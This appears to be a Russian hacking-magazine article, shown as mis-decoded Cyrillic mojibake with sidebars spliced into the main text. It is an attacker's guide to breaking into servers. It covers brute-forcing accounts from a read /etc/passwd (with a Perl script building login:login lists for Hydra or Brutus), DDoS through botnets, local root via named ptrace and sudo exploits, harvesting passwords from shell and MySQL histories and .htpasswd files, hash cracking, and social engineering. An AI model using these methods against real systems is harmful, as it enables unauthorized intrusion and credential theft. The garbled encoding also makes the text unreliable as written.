íîâðåìåííî. Â àðõèâå ïîìèìî ñêàíå-
ðà ðàñïîëîæåíà áàçà óÿçâèìûõ ñöå-
íàðèåâ (ïðàâäà, îíà äîâîëüíî ñòàðàÿ
è óæå ïîêðûëàñü ïëåñåíüþ ;)). 

Òû ìîæåøü ñêàçàòü, ìîë, ñêàíèðîâàë
ÿ ýòè ñåðâåðà è íè÷åãî, êðîìå ÷òåíèÿ
ôàéëîâ, íå äîáèëñÿ. Äåéñòâèòåëüíî,
íèêàêèõ ïðèâèëåãèé îò ïðîñìîòðà ñî-
äåðæèìîãî /etc/passwd íå ïîäíÿòü. Íî
ýòî ìîæåò ïîñëóæèòü òîë÷êîì ê áîëåå
äåéñòâåííîìó ìåòîäó.

ÏÅÐÅÁÅÐÈ ÂÑÅ ÂÀÐÈÀÍÒÛ
Åñëè âçëîìùèêó ÷àñòè÷íî ïîâåç-

ëî ñ WWW, òî îí ïðîáóåò àòàêîâàòü
ñåðâåð áðóòôîðñîì. Êîíå÷íî, òû ñëû-
øàë, ÷òî ýòîò ìåòîä çàêëþ÷àåòñÿ â ïå-
ðåáîðå ïàðîëÿ íà îïðåäåëåííûé ñåð-
âèñ. Íà ïåðâûé âçãëÿä ïîêàæåòñÿ, ÷òî
ïðîñòî áåññìûñëåííî ïðîãîíÿòü âñå
âàðèàíòû ïàðîëåé ÷åðåç ñåòü. Íî
òîëüêî íà ïåðâûé. Åñëè óäàëîñü ïðî-
÷èòàòü /etc/passwd, ýòî óæå ïåðâûé
øàã ê ïîáåäå, âåäü èçâåñòíû âñå ñèñ-
òåìíûå ëîãèíû. Îñòàåòñÿ çàïóñòèòü
áðóòôîðñåð è îçàäà÷èòü åãî ïåðåáî-
ðîì íåñêîëüêèõ ïðîñòûõ ïàðîëåé íà
óêàçàííûå ëîãèíû. Íà ñàìîì äåëå,
áðóòôîðñ � ýòî öåëîå èñêóññòâî, êîòî-
ðîå ïîñòèãàåòñÿ ãîäàìè. Ìàòåðûé õà-
êåð ñðàçó ÷óâñòâóåò, ÷òî ïîëüçîâà-
òåëü lamer1 âîîáùå íå èìååò ïàðîëÿ,
à þçåð lamer2 çàõîäèò ïîä ïàðîëåì
qwerty.

Ëè÷íî ÿ ðóêîâîäñòâóþñü íåñêîëüêè-
ìè ïðàâèëàìè, êîãäà ïðèáåãàþ ê áðóò-
ôîðñó. Âî-ïåðâûõ, åñëè /etc/passwd
î÷åíü äëèííûé è ñîäåðæèò ìíîæåñò-
âî àêêàóíòîâ, åñòü âåðîÿòíîñòü òîãî,
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Ìîæíî
ïðîñìîò-
ðåòü âñå
ñèñòåìíûå
ëîãè â
/var/log è
íàéòè òàì
ïàðîëè. Òà-
êîå ñëó÷à-
åòñÿ, åñëè
íà ìàøèíå
âåðòèòñÿ
äåìîí ðàäè-
óñà ñ ïîë-
íûì äåáà-
ãîì.

Åñëè óäà-
ëîñü ïîäîá-
ðàòü ïàðîëü
äëÿ FTP,
ãðåõ íå ïîï-
ðîáîâàòü
åãî äëÿ
SSH. Ìíî-
ãèå àäìèíû
èñïîëüçóþò
/etc/shadow
äëÿ âñåõ
ñåðâèñîâ,
ïîýòîìó
âîçìîæíî,
÷òî ïàðîëè
ñîâïàäóò.
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÷òî ïàðîëü ðàâåí ëîãèíó. È ýòà âåðî-
ÿòíîñòü òåì âûøå, ÷åì áîëüøå çàïè-
ñåé â ñèñòåìå. Åñòåñòâåííî, ïðèäåòñÿ
ïåðåáðàòü âñå ñòðîêè ôàéëà è âûáðî-
ñèòü þçåðîâ, êîòîðûå íå èìåþò øåë-
ëà (çà÷åì íàì íåïîëíîöåííûå àêêàóí-
òû?), à çàòåì ñîñòàâèòü ñïèñî÷åê òèïà
«login:login». Ïîñëå âñåãî âçëîìùèê
ñêîðìèò ýòîò óâåñèñòûé ñïèñîê ïðîã-
ðàììå-áðóòôîðñó.

Ïî äîáðîòå äóøåâíîé ÿ íàïèñàë íå-
áîëüøîé ïåðëîâûé ñöåíàðèé, êîòî-
ðûé óìååò ïåðåãîíÿòü äàííûå èç
/etc/passwd â áàçó äëÿ áðóòôîðñåðà.
Äåëàåò îí ýòî áûñòðî è êà÷åñòâåííî,
îòáèðàÿ òîëüêî âàëèäíûå àêêàóíòû.

×òî êàñàåòñÿ áðóòôîðñåðà, ìîãó
ïðèâåñòè òåáå ïðèìåð êàê ïîä Âèíäó,
òàê è ïîä *nix. Êëàññè÷åñêèì ñîôòîì
ïîä Win32 ÿâëÿåòñÿ, êîíå÷íî æå,
ïðîãðàììà Brutus. Îíà óìååò ìíîãîå,
íî ñîâñåì íå ïîääåðæèâàåò ïðîêñè.
Ïîýòîìó ÿ ëþáëþ ñâîäèòü Brutus ñ
ïðîãðàììîé Sockscap è ãíàòü òðàôèê
÷åðåç áåçîïàñíûå ñîêñû. Ëèáî, êàê
âàðèàíò, ìîæíî þçàòü Brutus íà óäà-
ëåííîé ìàøèíå, ñîåäèíèâøèñü ñ íåé
ïîäðó÷íûì òåðìèíàëüíûì êëèåíòîì.

Þíèêñîèäàì ïîíðàâèòñÿ òâîðåíèå
õàêåðñêîé êîìàíäû THC (thc.org) ïîä
íàçâàíèåì hydra
(http://thc.org/download.php?t=r&f=hydra-4.1-
src.tar.gz). Ýòîò áðóòôîðñ ïî âîçìîæ-
íîñòÿì äàæå îïåðåæàåò Brutus, ïîñ-
êîëüêó óìååò ïåðåáèðàòü àêêàóíòû íà
ìàðøðóòíèêàõ Cisco è ïî ðàçëè÷íûì
ïðîòîêîëàì (VNC, https, netbios è ò.ï.).
×òî êàñàåòñÿ ïðîñòûõ ñëóæá òèïà FTP
è POP3, òî ìíîãîïîòî÷íàÿ hydra òîæå
ëåãêî ñïðàâèòñÿ ñ çàäà÷åé. Òðåáóåòñÿ
ëèøü çàäàòü íåñêîëüêî ãëàâíûõ
(âîðäëèñò, õîñò, ïîðò è íàçâàíèå ñåð-

âèñà) è âòîðîñòåïåííûõ (÷èñëî ïîòî-
êîâ, ëîãôàéë, îñòàíîâ ïðè ïîäáîðå
ïåðâîãî ïàðîëÿ, ïåðåáîð ïàðû
login:login) ïàðàìåòðîâ, è hydra îòïðà-
âèòñÿ â áåñêîíå÷íûé öèêë :). Íè÷òî íå
ìåøàåò îñòàâèòü ýòîò äëèòåëüíûé
ïðîöåññ â ïîêîå è ëèøü ïåðèîäè÷åñ-
êè ïðîâåðÿòü ðåçóëüòàò ðàáîòû ïðîã-
ðàììû. À ÷òî åùå îñòàåòñÿ, åñëè äðó-
ãèå ìåòîäû íå ïîìîãëè?..

Áûâàåò, ÷òî àäìèí çàùèòèë ñâîé
Web-ðåñóðñ äèíàìè÷åñêèìè èçîáðà-
æåíèÿìè. Â ýòîì ñëó÷àå ñîôòâàðíûå
áðóòôîðñåðû îòäûõàþò. Ïðèäåòñÿ
ïðèáåãíóòü ê èíòåëëåêòóàëüíîìó, èëè,
ïîïðîñòó, ðó÷íîìó, ïåðåáîðó. Åñëè òû
çíàåøü ëîãèí ê ðåñóðñó, ìîæíî ïî-
äîáðàòü ïàðîëü, êàæäûé ðàç ââîäÿ
íîâûé êîä íà èçîáðàæåíèè. Äëÿ îá-
ëåã÷åíèÿ ðàáîòû ìîæíî èñïîëüçî-
âàòü ðàçëè÷íûå òóëçû äëÿ áðàóçåðîâ,
êîòîðûå îáåñïå÷àò àâòîçàïîëíåíèå
íåèçìåííûõ ïîëåé.

ÓÁÅÉ ÅÃÎ ÏÐÀÂÈËÜÍÎ
Ñëó÷àåòñÿ òàê, ÷òî çëîóìûøëåí-

íèêó íå íóæåí øåëë, à âçëîì âåäåòñÿ
òîëüêî äëÿ òîãî, ÷òîáû ñòåðåòü ìàøè-
íó ñ ëèöà èíòåðíåòà. Òàêèå àòàêè ÷àñ-
òî âûïîëíÿþòñÿ ïî çàêàçó. DDoS îò-
íîñèòñÿ ê ñàìûì çëîñ÷àñòíûì àòàêàì,
çà ïðîâåäåíèå êîòîðîé ìîãóò îòîð-
âàòü êîíå÷íîñòè. Âñå èç-çà òîãî, ÷òî
âåñü ïåðåãíàííûé ìóñîð îïëà÷èâàåò

âëàäåëåö ñåðâåðà. À åìó ýòîãî îé êàê
íå õî÷åòñÿ äåëàòü :).

Ó ñåðüåçíûõ ïðîåêòîâ ñóùåñòâóåò
ñâîÿ ñëóæáà áåçîïàñíîñòè (èëè
abuse). Åå çàäà÷à � ðàñïîçíàâàòü àòà-
êè è ñîîáùàòü âëàäåëüöàì ñåòåé îá
èõ ôàêòå. Â ñâÿçè ñ ýòèì, íèêòî íèêîã-
äà íå çàíèìàþòñÿ DDoS, èñïîëüçóÿ
ñåðâåðà â ñåòè ñâîåãî ïðîâàéäåðà.
×àùå âñåãî ïîäîáíûå çëîäåÿíèÿ ñî-
âåðøàþòñÿ èç êîíñîëè çàáóãîðíûõ
ìàøèí. Òàêèå ñèñòåìû "çàðàæåíû"
ñïåöèàëüíûìè áîòàìè, êîòîðûå óìåþò
îáìåíèâàòüñÿ äàííûìè ìåæäó ñîáîé.
Ñêàæåì, çàõîòåë õàêåð óáðàòü white-
house.gov. Äëÿ ýòîãî îí ñîåäèíÿåòñÿ ñ
çàðóòàííûì êèòàéñêèì ñåðâåðîì, êî-
ìàíäóåò â êîíñîëè «./ddos white-
house.gov» è èäåò ïèòü ïèâî. Ïîñëå
çàïóñêà ïðîãðàììà ./ddos çàãëÿäûâà-
åò â ñâîé êîíôèã, íàõîäèò òàì ïàðó
ñîòåí òàêèõ æå "çàòðîÿííåíûõ" ñèñ-
òåì è øëåò âñåì êîìàíäó. Â íåé, êàê
òû óæå äîãàäàëñÿ, ñîäåðæèòñÿ ïðè-
íóæäåíèå óáèòü ñàéò whitehouse.gov.
Êîíå÷íî, ïðîãðàììà ./ddos � ÷èñòàÿ
àáñòðàêöèÿ, íî ïðèíöèï ðàáîòû çîì-
áè-ñåðâåðîâ èìåííî òàêîé.

Ïîìèìî ïðîãðàìì ñóùåñòâóþò çëûå
IRC-áîòû è öåëûå áîòíåòû, ñîçäàííûå
äëÿ òîãî, ÷òîáû îñòàíàâëèâàòü ðàáîòó
ñåðâåðîâ ëþáîé ìîùíîñòè. Åñëè áîòî-
âîä çàñòàâèò íà îïðåäåëåííîì êàíàëå
ôëóäèòü êàêóþ-íèáóäü æåðòâó, âñå áî-
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Êîãäà àäìèí
çàïðåòèë
èñïîëüçîâà-
íèå êîìàí-
äû locate
èëè íå óñ-
òàíîâèë åå
íà ñåðâåð
âîîáùå, èñ-
ïîëüçóé â
êà÷åñòâå
ïîèñêîâîé
êîìàíäû
áèíàðíèê
find.

Íå ïîëåíèñü
è ïðîïàðñè
access_log
îò Apache,
åñëè òàêî-
âîé èìååò-
ñÿ. Äåëî â
òîì, ÷òî âñå
ïàðîëè, ïå-
ðåäàííûå
ìåòîäîì
GET, áóäóò
çàïèñàíû â
ýòîò æóð-
íàë.

ÀÒÀÊÀ ÈÍÒÅËËÅÊÒÀ18 ÂÇËÎÌ

Ñêàíèì èç êîíñîëè

Ñàìûé ëó÷øèé áðóòôîðñåð Îöåíè âîçìîæíîñòè hydra

#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## Îïðåäåëèì ïàðàìåòðû ñêðèïòà
exit print �Use $0 $in $out\n� unless ($out);
open(IN,"$in");
open(OUT,">$out");
while(<IN>) { 
chomp;
if (~/sh$/) { ## Çàïèøåì òîëüêî âàëèäíûå àêêàóíòû
($u,@undef)=split ":"; 
print OUT "$u:$u\n"; ## Â âèäå ïàðû login:login
} 
}
close(IN);
close(OUT);

ÑÖÅÍÀÐÈÉ PARSER.PL



Åñëè çà
òâîåé ñåñ-
ñèåé íå çàê-
ðåïëåí
ïñåâäîòåð-
ìèíàë (ïîï-
ðîñòó ãîâî-
ðÿ, òû èìå-
åøü îáû÷-
íûé WWW-
øåëë), òî
äëÿ ñîåäè-
íåíèÿ ñ áà-
çîé èñïîëü-
çóé êîìàíäó
mysql �pïà-
ðîëü �e
�select *
from table�.

òû ðàçîì íà÷íóò ñëàòü ñåòåâûå ïàêåòû
íà ðàçëè÷íûå ñåðâèñû, â ðåçóëüòàòå
÷åãî ñåðâåð ïðîñòî íå ñïðàâèòñÿ ñ èõ
îáðàáîòêîé. Äëÿ ñïðàâêè, ÷èñëî òàêèõ
áîòîâ ìîæåò êîëåáàòüñÿ îò ïàðû ñîòåí
äî íåñêîëüêèõ äåñÿòêîâ òûñÿ÷ íà îä-
íîì êàíàëå. Çà áîëåå ïîäðîáíîé èí-
ôîðìàöèåé ïî DoS-àòàêàì, îáðàùàéñÿ
ê òåìàòè÷åñêîé ñòàòüå â ýòîì íîìåðå.

ËÎÊÀËÜÍÛÅ ØÀËÎÑÒÈ
Â ñëó÷àå óñïåøíî ïðîâåäåííîé

óäàëåííîé àòàêè, âçëîìùèê ïîëó÷èò
êàêèå-íèáóäü ñèñòåìíûå ïðèâèëå-
ãèè. Èìåííî ýòîò èñõîä ìîæíî ñ÷è-
òàòü óäà÷íûì, ïîñêîëüêó çà óäàëåí-
íîé àòàêîé âñåãäà ñëåäóåò ëîêàëü-
íàÿ. Íàñòàëî âðåìÿ ïîíèæàòü äîáû-
òûå ïðàâà äî ìàãè÷åñêîãî óèäà 0,
ïåðåä êîòîðûì ïðåêëîíÿòñÿ äàæå
ñàìûå çàùèùåííûå áèíàðíèêè ;). Íî
ïîëó÷èòü ðóòà î÷åíü ñëîæíî (îñî-
áåííî â çàùèùåííûõ ñèñòåìàõ), ïîý-
òîìó ïîñòîÿííî ïðèõîäèòñÿ âêëþ-
÷àòü ñîîáðàæàëîâêó è áûòü âïåðåäè
àäìèíà õîòÿ áû íà îäèí øàã. Ýòî
î÷åíü íåïðîñòî, íî âîçìîæíî.

ÑÊÀ×ÀÉ, ÇÀÏÓÑÒÈ È ÑËÎÌÀÉ!
Ñàìûé ïåðâûé è ëåãêèé ïóòü ëî-

êàëüíîãî âçëîìà � ïðèìåíåíèå
ýêñïëîèòà. Ïðàâäà, âìåñòî ïðåäâàðè-
òåëüíîãî ñêàíèðîâàíèÿ ïîðòîâ ïðè-
äåòñÿ íàéòè áàæíûé ñóèäíûé áèíàð-
íèê ëèáî äûðî÷êó â ÿäðå, à òîëüêî ïî-
òîì ïîäûñêèâàòü íóæíûé ñïëîèò.
Ïðîáëåìû ïðè èñïîëüçîâàíèè ýòîé
àòàêè ìîãóò áûòü ñàìûìè ðàçíûìè.
Ïåðâàÿ � îòñóòñòâèå áàãîâ. Åñëè ñèñ-
òåìà ñâåæàÿ, äàæå â ñëó÷àå ñóùåñò-
âîâàíèÿ ðàáî÷åãî ýêñïëîèòà ïðîñòîìó
ñìåðòíîìó åãî íå äîñòàòü. Áûâàåò, ÷òî
è â óáîãèõ ñèñòåìàõ àäìèíû ïàò÷àò
ÿäðî è íåùàäíî ñíîñÿò âñå óÿçâèìûå
áèíàðíèêè (ëèáî ñíèìàþò ñ íèõ ñóèä-
áèò). È, íàêîíåö, èñïîëüçîâàòü
ýêñïëîèò ïðîáëåìàòè÷íî â îòñóòñòâèå
ðàáî÷åãî êîìïèëÿòîðà (îá ýòîé ñèòóà-
öèè ÿ ðàññêàæó ÷óòü íèæå).

Äàâàé îïðåäåëèìñÿ, ñ êàêèõ øàãîâ
ëó÷øå âñåãî íà÷èíàòü àòàêó. Êàê
òîëüêî ïîëó÷åí íîðìàëüíûé øåëë,
íóæíî âûïîëíèòü ðÿä êîìàíä, ÷òîáû
îïðåäåëèòü äàëüíåéøóþ òàêòèêó
âçëîìà. Âî-ïåðâûõ, ñëåäóåò íàáðàòü
uname �a è óçíàòü âåðñèþ îïåðàöèîí-
êè. Åñëè ýòî Linux, ìîæíî âûâåñòè íà
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Ïàðîëü äëÿ
MySQL
ìîæíî íàé-
òè â
.bash_histo-
ry, ïîòîìó
÷òî àäìèíû
÷àñòî âáè-
âàþò åãî
ïðÿìî â êî-
ìàíäíîé
ñòðîêå
(mysql �h
õîñò �u user
�pÏàðîëü).

Îáÿçàòåëü-
íî ïîñåòè
ðåñóðñ
www.thc.org
è îçíàêîìü-
ñÿ ñî âñåìè
ðåëèçàìè
ãðóïïû. Ðå-
áÿòà ïèøóò
î÷åíü èíòå-
ðåñíûå âå-
ùè.

Êàê òû çíàåøü, áðóòôîðñ ìîæåò áûòü àêòóàëåí è äëÿ ëîêàëüíûõ
àòàê. Åñëè òû íàõîäèøü ïàðîëüíûé õýø, ýòî åùå íå îçíà÷àåò, ÷òî
òû ïîëó÷èë àáñîëþòíûå ïðàâà. Ïåðåä òåì êàê ïðàçäíîâàòü ïîáåäó,
íóæíî ðàñøèôðîâàòü ïàðîëü. Ïðàêòè÷åñêè âñåãäà äëÿ çàøèôðîâ-
êè èñïîëüçóåòñÿ íåîáðàòèìûé àëãîðèòì, ïîýòîìó è ïðèõîäèòñÿ
âçëàìûâàòü îáû÷íûì ïåðåáîðîì. Íèêòî íå ïðèíóæäàåò òåáÿ äåëàòü
ýòî âðó÷íóþ, èáî â èíåòå ìîæíî íàéòè ìíîæåñòâî àâòîìàòèçèðî-
âàííûõ ïåðåáîðùèêîâ.

1. John TThe RRipper.
Óíèâåðñàëüíûé ëî-
êàëüíûé áðóòôîðñåð,
ïîääåðæèâàþùèé àë-
ãîðèòìû DES, MD5,
OpenBSD BlowFISH è
íåêîòîðûå äðóãèå.
Áîëüøèíñòâî ïàðîëåé
çàøèôðîâàíî âûøå-
ïåðå÷èñëåííûìè àë-
ãîðèòìàìè, ïîýòîìó Äæîíèê áåç òðóäà ðàñøèôðóåò ïàðîëü, åñëè,
êîíå÷íî, èìååòñÿ õîðîøèé âîðäëèñò è äîñòàòî÷íî òåðïåíèÿ, âåäü
ïåðåáîð � ïðîöåññ î÷åíü ìåäëåííûé. Ñêà÷àòü Äæîíà ìîæíî îòñþ-
äà: www.openwall.com/john/a/john-116w.zip.

2. MD5Inside.
Ïðåäñòàâü ñèòóàöèþ: òû îòûñêàë
ïàðîëü íà äîñòóï ê ÁÄ, çàëåç òó-
äà è íàòêíóëñÿ íà... âñå àêêàóíòû
äëÿ mail.ru :). Âîò òîëüêî äîñàäíî,
÷òî âìåñòî ïàðîëåé ïðåäñòàâëå-
íà ïîñëåäîâàòåëüíîñòü çàãëàâ-
íûõ áóêâ è âñåâîçìîæíûõ öèôð.
Ïîçäðàâëÿþ, òû òîëüêî ÷òî îáíà-
ðóæèë MD5-õýøè, íî â øåñòíàä-
öàòåðè÷íîé ôîðìå. Ê ñîæàëå-
íèþ, Äæîíèê íå ñìîæåò ñëîìàòü
ýòîò ïàðîëü, îäíàêî åñëè òû ñêà-
÷àåøü ïðîãðàììó MD5Inside, òî
íàâåðíÿêà äîáüåøüñÿ óñïåõà.
Ñàìà ñîôòèíà èìååò ãðàôè÷åñêóþ îáîëî÷êó, òàê ÷òî ñ íåé ðàçáå-
ðåòñÿ äàæå ïîëíûé ëàìåð :). Ñêîðîñòü ïåðåáîðà î÷åíü âûñîêà èç-
çà èñïîëüçîâàíèÿ òðåäîâ. Áåðè ïîëåçíóþ òóëçó ñ ñàéòà NSD
(nsd.ru/soft/1/md5inside_1_0.rar) è ðàäóéñÿ æèçíè!

3. MD5Crack.
Ñîôòèíà ïîõîæà íà MD5Inside. Îíà äàæå ñëóæèò äëÿ ðàñøèôðîâ-
êè àíàëîãè÷íûõ ïàðîëåé. Íî MD5Crack (mdcrack.df.ru/download/
mdcrack.exe) ÿâëÿåòñÿ ïîëíîñòüþ êîíñîëüíûì ïðèëîæåíèåì. Ê òî-
ìó æå, ïðîãðàììà óìååò èñêàòü êîëëèçèþ, òî åñòü ïåðåñå÷åíèÿ äâóõ
çàâåäîìî ðàçíûõ ïàðîëåé â îäíîì õýøå. Ñìîòðè, ëîïîóõèé þçåð
ìîã óñòàíîâèòü ñåáå ïàðîëü
«GrW4M#1331337», íî îí äàæå
íå äîãàäûâàåòñÿ, ÷òî åãî ýëèò-
íûé ïàññâîðä ïåðåñåêàåòñÿ ñ
ïðîñòîé ïîñëåäîâàòåëüíîñòüþ
«1234». Óìíàÿ òóëçà áûñòðî
íàéäåò òàêîå ïåðåñå÷åíèå, ðàñ-
øèôðîâàâ ïàðîëü çà íåñêîëü-
êî ñåêóíä!

Î ÏÅÐÅÁÎÐÙÈÊÀÕ

Ïðîöåññ ïåðåáîðà õýøåé MySQL

Áûñòðûé ïîèñê êîëëèçèé

Óñåðäíûå ñòàðàíèÿ Äæîíèêà

Îáìåí ìåæäó ìàøèíàìè-çîìáè



ïå÷àòü ôàéë /etc/*-release è ïîñìîò-
ðåòü êîíå÷íîãî ïðîèçâîäèòåëÿ ñèñòå-
ìû. Â ñëó÷àå åñëè âçëîìùèê íàòêíóë-
ñÿ íà íîâóþ FreeBAS, åìó ñòîèò çà-
áûòü îá ýêñïëîèòàõ. Íà ôðèøíûå ñåð-
âèñû ðàáî÷èõ íîâèíîê íå áûëî î÷åíü
äàâíî. À êàêóþ-íèáóäü SunOS, íàîáî-
ðîò, î÷åíü ëåãêî âçëîìàòü, ýêñïëîèòû
åñòü è äëÿ ïîñëåäíèõ ðåëèçîâ.

Ê ïðèìåðó, ïîñëå âûâîäà uname �a
bash ïîêàçàë, ÷òî ñèñòåìà âåðòèòñÿ íà
ÿäðå 2.4.20-smp. Ýòî îçíà÷àåò, ÷òî õà-
êåð ïîèìåë õîðîøóþ äâóõïðîöåññîð-
íóþ òà÷êó. Òîëüêî âîò ÿäðî ó ýòîé ìà-
øèíû íå òàêîå óæ è õîðîøåå. Ìîæíî
ïðîâåñòè àòàêó ýêñïëîèòîì isec-
ptrace.c è áûñòðî ïîëó÷èòü ðóòîâûå
ïðèâèëåãèè. Äëÿ ýòîãî äàæå íå íóæåí
ïñåâäîòåðìèíàë, êîòîðûé íàñòîÿòåëü-
íî òðåáîâàëè ïðåäûäóùèå ýêñïëîèòû
ptrace-óÿçâèìîñòè. ×òî êàñàåòñÿ
Solaris, òî åå ÿäðî ïðîáèâàåòñÿ ñ îäíî-
ãî óäàðà. Ñóùåñòâóåò ñïëîèò, ïîçâîëÿ-
þùèé ïîäãðóçèòü ìîäóëü ñ ïðîèç-
âîëüíûì êîäîì. Ïîäãðóçêà, êàê òû óæå
äîãàäàëñÿ, ïðîèçâîäèòñÿ îò îáû÷íûõ
þçåðñêèõ ïðàâ, êîòîðûå òû ïîëó÷èë
ïîñëå óñïåøíîé óäàëåííîé àòàêè.

Â ñëó÷àå, êîãäà âñòðå÷àåòñÿ ÿäðûøêî
ïîñòàáèëüíåå, íàïðèìåð, 2.6.7 èëè
2.4.20, íî ñ ïðåôèêñîì �grsecure, ìîæ-
íî íå ïèòàòü íàäåæäó íà òî, ÷òî êåðíåë
âîçüìåòñÿ îáû÷íûì ptrace-ýêñïëîéòîì.
Â òàêîé ñèòóàöèè õàêåð äàæå íå òðàòèò
âðåìåíè íà ïîèñêè ýêñïëîèòà, èáî çíà-
åò, ÷òî ïàò÷è è ñâåæèå ðåëèçû óæå íå
ñîäåðæàò ñòàðûõ áàãîâ.

Áûâàåò, ÷òî íà ìàøèíå âåðòèòñÿ
ñåêüþðíîå ÿäðî, íî òàêæå î÷åíü áàæ-
íûå áèíàðíèêè. Íàïðèìåð, ÿ âñòðå-
÷àëñÿ ñ Linux RedHat 7.3 ñ ïàò÷åì îò
grsecurity, íî óÿçâèìûì ïðèëîæåíèåì
/usr/sbin/sudo. Ïðè òàêîì ðàñêëàäå ÿ
æåëàë ïîëó÷èòü ðóòà ïîñëå ïðèìå-
íåíèÿ ýêñïëîèòà hudo.c, íî îáëîìàë-
ñÿ. Äåëî â òîì, ÷òî ñåðâåð, ÿâëÿëñÿ
õîñòèíãîì, ïîýòîìó âñåì þçåðàì
ïðèêðûâàëñÿ äîñòóï ê /usr/bin/gcc. ß
îöåíèë çàùèòó àäìèíà, çàòåì ñêîì-
ïèëèë ýêñïëîèò íà äðóãîì ïèíãâèíå
è ïåðåòàùèë áèíàðíèê íà õîñòèíãî-
âóþ ìàøèíó. Îñòàâàëîñü çàïóñòèòü
ïðèëîæåíèå è íàñëàæäàòüñÿ ðóòî-
âûìè ïðàâàìè.

Äóìàþ, ñìûñë òû óëîâèë. Åñëè íà
ñåðâåðå åñòü óÿçâèìûå áèíàðíèêè
èëè ñòàðîå ÿäðî � íîãè â ðóêè è áåãîì
íà ñàéòû ïî áåçîïàñíîñòè çà ñâåæèìè
(èëè ÷óòü ïðîòóõøèìè) ýêñïëîèòàìè.
Íà ìàøèíå ñâåæàÿ ñèñòåìà è íàïðî÷ü
îòñóòñòâóþò ñóèäíûå ïðèëîæåíèÿ?
Òîãäà ïðèäåòñÿ ïîïðîáîâàòü äðóãîé
ñïîñîá ëîêàëüíîãî íàïàäåíèÿ.

ÏÎÈÑÊ! ÒÎËÜÊÎ ÏÎÈÑÊ!
Äðóãîé ìåòîä ïîâûøåíèÿ ïðèâè-

ëåãèé çàêëþ÷àåòñÿ â ïîèñêå ñåêðåòíîé
èíôîðìàöèè. Íåò, ñîâñåì íåîáÿçàòåëü-
íî îòûñêèâàòü ðàçëè÷íûå äîêóìåíòû,
íóæíî ïðîñòî îïðåäåëèòü íàëè÷èå â
ñèñòåìå ïàðîëüíûõ õýøåé. ×àñòî ïàðî-
ëè âñòðå÷àþòñÿ â ôàéëàõ .htpasswd,
îíè íàõîäÿòñÿ â web-çîíå. Ïîèñê îñó-
ùåñòâëÿåòñÿ êîìàíäîé locate .htpass-
wd. Áûâàåò, ÷òî äîêóìåíò íå òîëüêî
îòêðûò íà ÷òåíèå, íî è ñîäåðæèò â ñåáå
ðóòîâûé õýø, êîòîðûé ëåãêî ðàñøèô-
ðîâàòü ñ ïîìîùüþ John The Ripper. Ïî-
ìèìî ñïèñêà .htpasswd ìîæíî çàïðî-
ñèòü êîíôèãè .htaccess, à çàòåì ïðî÷è-
òàòü èõ. Áûâàåò, ÷òî þçåð ñîõðàíÿåò ïà-
ðîëè â ôàéëå ñ ïðîèçâîëüíûì èìåíåì.
Ïîñëåäíåå ëåãêî óçíàòü ïî çíà÷åíèþ
äèðåêòèâû UserFile â httpd.conf.

Êîíôèãè îò Web - ýòî ëèøü âåðõóø-
êà àéñáåðãà. Íàñòîÿùàÿ ñèëà íàõîäèò-
ñÿ â ëîãàõ! Åñëè ïîèñê ïî Web íè÷åãî
íå äàë, ñòîèò ïîïðîáîâàòü ïîèñêàòü

÷èòàáåëüíûå ôàéëû .bash_history è
.mysql_history. Â ïåðâîì èç íèõ ìîæíî
îáíàðóæèòü ïàðîëü äëÿ ñóïåðïîëüçî-
âàòåëÿ. Ñëó÷àåòñÿ, ÷òî àäìèíèñòðàòîð
íàïèñàë íåâåðíóþ êîìàíäó su (sy èëè
si), à çàòåì âñëåïóþ âáèë ðóòîâûé ïà-
ðîëü. Ïàðîëü, êîíå÷íî æå, ñîõðàíèòñÿ
â ëîãå êîìàíä. Íàõîäêà äëÿ õàêåðà, íå
òàê ëè? Êðîìå ýòîãî, âîçìîæåí ñëó-
÷àé, ïðè êîòîðîì àäìèíèñòðàòîð ëîãè-
íèòñÿ ê MySQL, èñïîëüçóÿ ñèñòåìíûé
ïàðîëü. Òàêèõ ñëó÷àåâ î÷åíü ìíîãî,
íàâåðíîå, êàæäûé òðåòèé ëîêàëüíûé
âçëîì ïðîèñõîäèò áëàãîäàðÿ õîðîøå-
ìó óðîæàþ èç ëîãà êîìàíä :).

Òåïåðü ïîãîâîðèì î MySQL. Äîñòóï ê
áàçå - ýòî òîæå ñâîåãî ðîäà äîïîëíè-
òåëüíûå ïðàâà. Âåäü â ÁÄ ìîãóò ñî-
äåðæàòüñÿ òàáëèöû ñ êðåäèòíûìè êàð-
òàìè, àêêàóíòàìè íà êàêèå-ëèáî ñåðâè-
ñû è ò.ï. Ñëþíêè ïîòåêëè? Åùå áû :).
×òîáû äîñòàòü ïàðîëü îò áàçû, îñîáî
ïàðèòüñÿ íå íàäî. Â ïåðâóþ î÷åðåäü
íóæíî èçó÷èòü PHP/CGI-ñêðèïòû íà
ïðåäìåò êîíôèãóðàöèîííûõ ôàéëîâ.
Íàïðèìåð, ÷àñòî ïåðåìåííûå äîñòóïà
çàïèñûâàþòñÿ â êîíôèã include.php.inc
ëèáî mysql.inc.  Âòîðîé ñïîñîá óçíàòü
ïàðîëü � ïðî÷èòàòü .mysql_history.
Î÷åíü ÷àñòî àäìèíèñòðàòîð ñâåòèò
ïàññâîðä â ÷èñòîì âèäå ïîñëå âûïîë-
íåíèÿ êîìàíäû «blabla set
password=password(�ïàðîëü�)». Íàêî-
íåö, åñëè íå ïîâåçëî, ìîæíî çàíÿòüñÿ
ëîêàëüíûì áðóòôîðñîì: çàëèòü íà ìà-
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Ïðè æåëà-
íèè áðóò-
ôîðñ ìîæíî
íàïèñàòü
ñàìîñòîÿ-
òåëüíî.
Äîñòàòî÷íî
çíàòü ïðî-
òîêîë îáìå-
íà (ìåæäó
êëèåíòîì è
ñåðâåðîì) è
íåìíîãî
âëàäåòü
ÿçûêîì
ïðîãðàììè-
ðîâàíèÿ.

Áûñòðûé âçëîì ÿäðà Íóæíû ïàðîëè? Áåç ïðîáëåì!

Îøèáêà àäìè-
íà ïðèâîäèò ê
ôàòàëüíîìó
èñõîäó

Ñóùåñòâóþò àëüòåðíàòèâíûå ñïîñîáû âçëîìà ñåðâåðà. Îäèí èç
íèõ � ñîöèàëüíàÿ èíæåíåðèÿ. Åå ìîæíî èñïîëüçîâàòü êàê äëÿ óäà-
ëåííîãî, òàê è äëÿ ëîêàëüíîãî âçëîìà. Äîïóñòèì, òû çíàåøü àñüêó
àäìèíà, è òåáå ïîçàðåç ïîíàäîáèëñÿ ïàðîëü íà åãî ñåðâåð :). Äëÿ
